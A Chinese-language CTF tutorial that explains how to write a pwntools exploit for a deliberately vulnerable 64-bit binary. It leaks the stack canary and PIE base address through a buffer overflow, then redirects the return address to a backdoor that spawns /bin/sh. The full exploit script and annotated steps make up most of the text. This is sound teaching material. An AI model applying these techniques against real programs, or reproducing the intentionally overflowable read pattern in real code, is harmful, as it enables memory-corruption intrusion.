从一道pwn题深入理解exp的编写
1.前言
在学习pwn的时候,利用ida pro和gdb可以调试出漏洞,但到了exp编写的时候,就会非常犯难,虽然pwntools官网有针对各个模块的讲解,但是对于大部分想入门二进制的师傅们仍是一大挑战。
本篇通过对一道ret2text(所有保护全开)的例题进行讲解,全面讲述vul利用方法和exp的编写。
2.例题及exp
例题,exp,libc,ld都在文末附件,师傅们也可以自己编译64位程序
为避免环境不同,可以用patchelf更换程序的动态链接:
patchelf --set-interpreter new_ld_address file_path
patchelf --replace-needed old_libc.so.6 new_libc.so.6 file_path
源码:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
void backdoor() {
puts("this is backdoor.");
system("/bin/sh");
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
char buf[0x100];
do {
puts("please input:");
read(0, buf, 0x200);
puts(buf);
} while (strcmp(buf, "exit") != 0);
return 0;
}
exp:
#!/usr/bin/python3.8
from pwn import *
elf_path = './test'
elf = ELF(elf_path)
context(arch=elf.arch, os=elf.os, log_level="info")
io = process([elf_path])
# gdb.attach(io, 'b *$rebase(0x1281)\n c')
# pause()
# get base address
io.sendafter(b'please input:\n', b'a'*0xf0)
io.recvuntil(b'a'*0xf0)
__libc_csu_init = (u64(io.recv(6).ljust(8, b'\x00')))
elf.address = __libc_csu_init - 0x12c0
log.info('elf base adress: '+hex(elf.address))
# backdoor address
backdoor_address = elf.symbols['backdoor']
log.info('backdoor_address: '+hex(backdoor_address))
# get canary
io.sendafter(b'please input:\n', b'a'*0x109)
io.recvuntil(b'a'*0x109)
canary = u64(io.recv(7).ljust(8, b'\x00')) << 8
# io.recvuntil(b'a'*0x108)
# canary = u64(io.recv(8)) - 0x61
log.info("canary: "+hex(canary))
# struct payload
payload = b'exit'.ljust(0x108, b'\x00') + p64(canary) + b'0'*8 + p64(backdoor_address+5)
io.sendafter(b'please input:\n', payload)
io.interactive()
3.题目分析
很明显,题目存在一个backdoor函数和缓冲区溢出,那么我们通过控制return address所指向backdoor函数即可获得shell
我们先检查一下程序的保护机制:
发现所有保护全开,根据我们的利用姿势,对我们起阻碍作用的是canary和PIE,所以必须想办法绕过canary和PIE
- 绕过canary:通过栈溢出获得栈上的canary,栈溢出时写入覆盖canary
- 绕过PIE:由于PIE导致backdoor地址随机,为了获取backdoor的地址,需要获得程序基地址
4.调试及脚本编写
4.1 泄露canary
通过ida反编译main函数,我们可以获得栈上的布局buf及缓冲区,var_8及canary,s是rbp,r是返回地址
可以计算出buf距离canary 0x108 字节
为什么var_8是canary呢?
canary一般插在局部变量和保存的上一个rbp之间
它的原理是在一个函数的入口处,先从fs/gs寄存器中获取一个值,一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置;当函数结束时会检查这个栈上的值是否和存进去的值一致,若一致则正常退出,如果是栈溢出或者其他原因导致canary的值发生变化,那么程序将执行___stack_chk_fail函数,继而终止程序;canary的位置不一定与ebp存储的位置相邻,具体得看程序的汇编操作,不同编译器在进行编译时canary位置可能出现偏差,有可能ebp与canary之间有字节被随机填充
注意:每个程序重新运行后canary也会变,canary是以\x00结尾的
用gdb把程序跑起来,断点下在puts函数,查看栈中的内容,可以发现canary就在rbp上方(pwndbg默认地址是低到高),利用pwndbg的命令canary
也可以直接查看canary的值
开始canary泄露脚本的编写(推荐使用IDA,有补全和其他的提示),首先导入程序
context中的log_level指的是日志等级,可以直接设置为整数(0-100),也可以设置成debug或info,调试的时候我们一般用debug,利用的时候我们一般用info,避免显示过多的冗余信息
from pwn import *
elf_path = './test' #程序路径
elf = ELF(elf_path) #ELF加载
context(arch=elf.arch, os=elf.os, log_level="debug") #context设置
io = process([elf_path]) #创建process对象
我们先向buf中输入0x108字节看看栈的情况,利用cyclic 0x108
就可以自动生成这么多字节,我们先在gdb中试试看看栈中的数据
之前我们说过,canary是以\x00结尾的,但是栈中的最后一字节确是0a。因为虽然我们输入了0x108个字节给buf,但是最后我们还有一个换行键(ascii码就是0a)
开始脚本的编写,如果我们向buf中写入0x108字节,puts输出的时候会因为canary是以\x00结尾而发生截断(数据在内存中又是以小端序存储),所以我们向buf中输入 0x108+1 = 0x109 字节,将\x00覆盖
注意:
如果我们用脚本写的话,使用sendafter函数,它并不会在我们的输入后面加上\n
在python3中编写脚本时,所有的str建议都带上b参数,因为python2的str类型是bytes类型,但python3时是Unicode类型,和bytes类型有区别
io.sendafter(b'please input:\n', b'a'*0x109) #收到please input:\n后发送数据
之后我们向接受0x108字节数据,再接受8字节数据,并用u64解包64位的数据,此时,canary最低字节是我们之前输入的a(ascii为0x61),所以减去0x61,我们就可以获得canary,最后再用hex输出,其中log
对象是被插入到全局命名空间中,可以使用它在攻击期间打印出状态消息
io.recvuntil(b'a'*0x108)
canary = u64(io.recv(8)) - 0x61
log.info('canary:'+hex(canary))
我们也可以采用另一种操作方式获得canary,我们接受0x109字节数据,然后再接受7字节数据,使用ljust
左对齐字符串长度为8,也就是我们把接受的数据最低字节又变成了\x00,因为使用u64解包成整数时需要数据为8字节,u64后,由于是小端,所以\x00现在在最高位,我们再左移8位(1字节),就可以将低位再补零,得到正确的canary
io.sendafter(b'please input:\n', b'a'*0x109)
io.recvuntil(b'a'*0x109)
canary = u64(io.recv(7).ljust(8, b'\x00')) << 8
log.info('canary:'+hex(canary))
4.2 泄露backdoor
我们首先需要获得程序的基址,我们先随便输入个数据,到栈中看一下,可以看到函数(__libc_csu_init)
,距离buf为0xf0字节
vmmap该地址一下,可以发现距离及地址偏移0x12c0
我们先发送和接受0xf0字节,然后接受6字节,然后补齐八位,再减去偏移就可以获得程序的基地址,指定elf.address后,symbols,got,plt,functions的绝对地址都可以得到了
这里讲一下为什么是接受6字节,虽然地址是64位,但是地址的高两个字节总是0000或(由于符号扩展)FFFF。 将来,如果48位不再足够,新处理器可以添加对56位或64位虚拟地址的支持。一定不要接受8字节,gdb.attach附加上去调试会发现六字节后的数据并不是0000,可以自己动手试一下
io.sendafter(b'please input:\n', b'a'*0xf0)
io.recvuntil(b'a'*0xf0)
__libc_csu_init = (u64(io.recv(6).ljust(8, b'\x00')))
elf.address = __libc_csu_init - 0x12c0
log.info('elf base adress: '+hex(elf.address))
之后我们就可以获得backdoor的地址了
backdoor_address = elf.symbols['backdoor']
log.info('backdoor_address: '+hex(backdoor_address))
4.3 构造payload
根据利用链条,我们要先结束,发送exit使while循环终止,然后发送buf的填充数据,覆盖canary,然后8字节覆盖rbp,把返回地址改成backdoor
payload = b'exit'.ljust(0x108, b'\x00') + p64(canary) + b'0'*8 + p64(backdoor_address+5)
io.sendafter(b'please input:\n', payload)
这里之所以backdoor的地址+5,是因为64位ubuntu18以上系统调用system函数时是需要栈对齐的,就是64位下system函数有个movaps指令,指令要求内存地址必须16字节对齐,而栈16字节对齐的意思是调用system函数时rsp的值必须是16的倍数,也就是末位为0,否则无法执行。,如果你到system函数执行的时候,si单步进去就会发现,如果没对齐的话,最后就会卡住,终端会提示Got EOF while reading in interactive
)。
我们可以跳过代码中的push rbp,使得栈中的元素少了一个,rsp末位自然就从8变成0了,所以payload中也就是(backdoor_address+5)
最终得到shell
5.总结
平时我们在编写exp的时候,要善于使用调试功能,通过gdb.attach到进程上,参数上也可以添加我们的调试命令,下面命令中的rebase可以帮助我们在开启pie的情况下根据程序相对地址进行调试下断点等。同时,要经常观察栈中数据的变化,熟练掌握gdb和相关插件的使用。在编写payload,每一个字节都需要把控好,能不能pwn到就在于细节。
gdb.attach(io, 'b *$rebase(0x1281)\n c')
pause()
-
样本.zip 下载